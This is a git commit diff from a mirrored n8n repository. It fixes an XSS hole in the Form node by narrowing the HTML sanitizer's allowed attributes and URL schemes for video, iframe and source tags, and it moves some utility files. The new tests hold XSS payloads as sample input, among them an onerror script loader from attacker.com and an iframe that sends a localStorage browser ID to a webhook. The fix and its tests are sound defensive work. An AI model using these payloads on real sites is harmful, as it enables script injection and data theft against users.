mirror of
https://github.com/Abdulazizzn/n8n-enterprise-unlocked.git
synced 2025-12-16 17:46:45 +00:00
fix(n8n Form Node): Prevent XSS with video and source tags (#16329)
This commit is contained in:
@@ -19,12 +19,12 @@ import {
|
||||
} from 'n8n-workflow';
|
||||
|
||||
import { cssVariables } from './cssVariables';
|
||||
import { renderFormCompletion } from './formCompletionUtils';
|
||||
import { renderFormNode } from './formNodeUtils';
|
||||
import { renderFormCompletion } from './utils/formCompletionUtils';
|
||||
import { renderFormNode } from './utils/formNodeUtils';
|
||||
import { prepareFormReturnItem, resolveRawData } from './utils/utils';
|
||||
import { configureWaitTillDate } from '../../utils/sendAndWait/configureWaitTillDate.util';
|
||||
import { limitWaitTimeProperties } from '../../utils/sendAndWait/descriptions';
|
||||
import { formDescription, formFields, formTitle } from '../Form/common.descriptions';
|
||||
import { prepareFormReturnItem, resolveRawData } from '../Form/utils';
|
||||
|
||||
const waitTimeProperties: INodeProperties[] = [
|
||||
{
|
||||
|
||||
@@ -2,7 +2,7 @@ import { type Response } from 'express';
|
||||
import { type MockProxy, mock } from 'jest-mock-extended';
|
||||
import { type INode, type IWebhookFunctions } from 'n8n-workflow';
|
||||
|
||||
import { binaryResponse, renderFormCompletion } from '../formCompletionUtils';
|
||||
import { binaryResponse, renderFormCompletion } from '../utils/formCompletionUtils';
|
||||
|
||||
describe('formCompletionUtils', () => {
|
||||
let mockWebhookFunctions: MockProxy<IWebhookFunctions>;
|
||||
|
||||
@@ -7,7 +7,7 @@ import {
|
||||
type NodeTypeAndVersion,
|
||||
} from 'n8n-workflow';
|
||||
|
||||
import { renderFormNode } from '../formNodeUtils';
|
||||
import { renderFormNode } from '../utils/formNodeUtils';
|
||||
|
||||
describe('formNodeUtils', () => {
|
||||
let webhookFunctions: MockProxy<IWebhookFunctions>;
|
||||
|
||||
@@ -22,7 +22,7 @@ import {
|
||||
validateResponseModeConfiguration,
|
||||
prepareFormFields,
|
||||
addFormResponseDataToReturnItem,
|
||||
} from '../utils';
|
||||
} from '../utils/utils';
|
||||
|
||||
describe('FormTrigger, parseFormDescription', () => {
|
||||
it('should remove HTML tags and truncate to 150 characters', () => {
|
||||
@@ -64,6 +64,25 @@ describe('FormTrigger, sanitizeHtml', () => {
|
||||
html: '<input type="text" value="test">',
|
||||
expected: '',
|
||||
},
|
||||
{
|
||||
html: '<video width="640" height="360" controls><source src="https://www.w3schools.com/html/mov_bbb.mp4" type="video/mp4">Your browser does not support the video tag.</video>',
|
||||
expected:
|
||||
'<video width="640" height="360" controls><source src="https://www.w3schools.com/html/mov_bbb.mp4" type="video/mp4"></source>Your browser does not support the video tag.</video>',
|
||||
},
|
||||
{
|
||||
html: '<video controls width="640" height="360" onclick="alert(\'XSS\')" style="border:10px solid red;"><source src="javascript:alert(\'XSS\')" type="video/mp4">Fallback text</video>',
|
||||
expected:
|
||||
'<video controls width="640" height="360"><source type="video/mp4"></source>Fallback text</video>',
|
||||
},
|
||||
{
|
||||
html: "<video><source onerror=\"s=document.createElement('script');s.src='http://attacker.com/evil.js';document.body.appendChild(s);\">",
|
||||
expected: '<video><source></source></video>',
|
||||
},
|
||||
{
|
||||
html: "<iframe srcdoc=\"<script>fetch('https://YOURDOMAIN.app.n8n.cloud/webhook/pepe?id='+localStorage.getItem('n8n-browserId'))</script>\"></iframe>",
|
||||
expected:
|
||||
'<iframe referrerpolicy="strict-origin-when-cross-origin" allow="fullscreen; autoplay; encrypted-media"></iframe>',
|
||||
},
|
||||
];
|
||||
|
||||
givenHtml.forEach(({ html, expected }) => {
|
||||
|
||||
@@ -18,11 +18,11 @@ import {
|
||||
} from 'n8n-workflow';
|
||||
import sanitize from 'sanitize-html';
|
||||
|
||||
import type { FormTriggerData, FormTriggerInput } from './interfaces';
|
||||
import { FORM_TRIGGER_AUTHENTICATION_PROPERTY } from './interfaces';
|
||||
import { getResolvables } from '../../utils/utilities';
|
||||
import { WebhookAuthorizationError } from '../Webhook/error';
|
||||
import { validateWebhookAuthentication } from '../Webhook/utils';
|
||||
import { getResolvables } from '../../../utils/utilities';
|
||||
import { WebhookAuthorizationError } from '../../Webhook/error';
|
||||
import { validateWebhookAuthentication } from '../../Webhook/utils';
|
||||
import { FORM_TRIGGER_AUTHENTICATION_PROPERTY } from '../interfaces';
|
||||
import type { FormTriggerData, FormTriggerInput } from '../interfaces';
|
||||
|
||||
export function sanitizeHtml(text: string) {
|
||||
return sanitize(text, {
|
||||
@@ -58,10 +58,24 @@ export function sanitizeHtml(text: string) {
|
||||
allowedAttributes: {
|
||||
a: ['href', 'target', 'rel'],
|
||||
img: ['src', 'alt', 'width', 'height'],
|
||||
video: ['*'],
|
||||
iframe: ['*'],
|
||||
source: ['*'],
|
||||
video: ['controls', 'autoplay', 'loop', 'muted', 'poster', 'width', 'height'],
|
||||
iframe: [
|
||||
'src',
|
||||
'width',
|
||||
'height',
|
||||
'frameborder',
|
||||
'allow',
|
||||
'allowfullscreen',
|
||||
'referrerpolicy',
|
||||
],
|
||||
source: ['src', 'type'],
|
||||
},
|
||||
allowedSchemes: ['https', 'http'],
|
||||
allowedSchemesByTag: {
|
||||
source: ['https', 'http'],
|
||||
iframe: ['https', 'http'],
|
||||
},
|
||||
allowProtocolRelative: false,
|
||||
transformTags: {
|
||||
iframe: sanitize.simpleTransform('iframe', {
|
||||
sandbox: '',
|
||||
@@ -15,7 +15,7 @@ import {
|
||||
formTriggerPanel,
|
||||
webhookPath,
|
||||
} from '../common.descriptions';
|
||||
import { formWebhook } from '../utils';
|
||||
import { formWebhook } from '../utils/utils';
|
||||
|
||||
const descriptionV1: INodeTypeDescription = {
|
||||
displayName: 'n8n Form Trigger',
|
||||
|
||||
@@ -21,7 +21,7 @@ import {
|
||||
} from '../common.descriptions';
|
||||
import { cssVariables } from '../cssVariables';
|
||||
import { FORM_TRIGGER_AUTHENTICATION_PROPERTY } from '../interfaces';
|
||||
import { formWebhook } from '../utils';
|
||||
import { formWebhook } from '../utils/utils';
|
||||
|
||||
const useWorkflowTimezone: INodeProperties = {
|
||||
displayName: 'Use Workflow Timezone',
|
||||
|
||||
@@ -23,7 +23,7 @@ import {
|
||||
formTitle,
|
||||
appendAttributionToForm,
|
||||
} from '../Form/common.descriptions';
|
||||
import { formWebhook } from '../Form/utils';
|
||||
import { formWebhook } from '../Form/utils/utils';
|
||||
import {
|
||||
authenticationProperty,
|
||||
credentialsProperty,
|
||||
|
||||
@@ -24,7 +24,11 @@ import {
|
||||
import type { IEmail } from './interfaces';
|
||||
import { cssVariables } from '../../nodes/Form/cssVariables';
|
||||
import { formFieldsProperties } from '../../nodes/Form/Form.node';
|
||||
import { prepareFormData, prepareFormReturnItem, resolveRawData } from '../../nodes/Form/utils';
|
||||
import {
|
||||
prepareFormData,
|
||||
prepareFormReturnItem,
|
||||
resolveRawData,
|
||||
} from '../../nodes/Form/utils/utils';
|
||||
import { escapeHtml } from '../utilities';
|
||||
|
||||
export type SendAndWaitConfig = {
|
||||
|
||||
Reference in New Issue
Block a user